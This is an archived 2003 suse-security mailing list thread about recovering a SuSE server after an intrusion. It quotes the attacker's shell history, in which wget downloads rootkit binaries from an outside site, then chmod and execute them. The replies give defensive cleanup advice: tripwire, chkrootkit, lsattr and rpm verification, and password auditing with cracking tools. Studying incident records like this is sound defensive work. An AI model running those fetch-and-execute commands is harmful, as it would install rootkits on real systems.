Re: [suse-security] Intrusion
Thanks again for helpful information. New question: According to the history file of user whose account was used for intrusion, rootkit was downloaded from www.cappy.biz: cat /etc/issue wget www.cappy.biz/0/*/k chmod +x k ./k wget www.cappy.biz/0/*/noparty chmod +x noparty ./noparty etc. etc. Directory http://www.cappy.biz/0/*/ is very interesting. Can we somehow act against the owner of this site, so that the same thing doesn;t happen to other SuSE users? Best regards, Antun Balaz Institute of Physics, Belgrade Serbia and Montenegro On Mon, 24 Nov 2003, Dieter Kirchner wrote:
Hi,
Following procedure might work without reinstall:
- Take a second machine, install a fresh Linux with the same install media used for the infected - apply same updates as for infected machine - use tripwire to generate a new DB on the second machine for all executable dirs (/bin /usr/bin /sbin /usr/sbin ...) or better all dirs except /tmp and spool dirs - cp tripwire and db to infected machine - tripwire check - replace infected binarys - get chkrootkit - mount / from second machine with (ro,no_root_squash) - check infected machine with chkrootkit, bin mounted via nfs, do not use bins from infected (install nfsd temporary if not installed yet, or burn on CD and use this) - replace infected binarys again - reinstall kernel package on infected - check init scripts - reboot - second run all checks
U might use "lsattr / |less" first, look for files with flag "a u i" set (these are 99% infected). Use chattr to remove the undeletable flags (typical script kiddies use these flags to prevent root from removing infected files) and replace the bins.
Repeat the checks several times. After first run you should look into all dirs, including /dev /tmp and spool dirs. Download and use kstat to check the kernel. It helps to use a static kernel without module support, as the this reduces the number of working rootkits :-)
This worked for me on a remote controlled machine. It is recomended to sniff on the network to check for connections attempts during the procedure. And keep an eye on the fixed machine for some month.
Ciao, Dieter
I think nuclear weapons would be a good way to handle cracking sites, crackers, and spammers. (just kidding :-) Seriously, try running "rpm --verify" on your system to verify that your system files are intact, or find out which aren't. But in the end, if your system has been compromised, a fresh reinstall is the only way to know that there are no hidden problems on the machine. Stick a temporary machine in it's place to handle server duties, but I'd consider that machine toast. As an aside, if a machine is handling company server duties, I won't put any user accounts on it except for admins (I don't know that the user you mentioned wasn't an admin, but just in case). Also, I'd run "crack" or "john" or some password cracking program to test the passwords used, to make sure they weren't too easy. You have my sympathies. Having a machine cracked just makes me feel sick. :-( HTH, Kevin Antun Balaz wrote:
Thanks again for helpful information.
New question: According to the history file of user whose account was used for intrusion, rootkit was downloaded from www.cappy.biz:
cat /etc/issue wget www.cappy.biz/0/*/k chmod +x k ./k wget www.cappy.biz/0/*/noparty chmod +x noparty ./noparty etc. etc.
Directory http://www.cappy.biz/0/*/ is very interesting. Can we somehow act against the owner of this site, so that the same thing doesn;t happen to other SuSE users?
Best regards,
Antun Balaz Institute of Physics, Belgrade Serbia and Montenegro
participants (2)
-
Antun Balaz
-
Kevin Brannen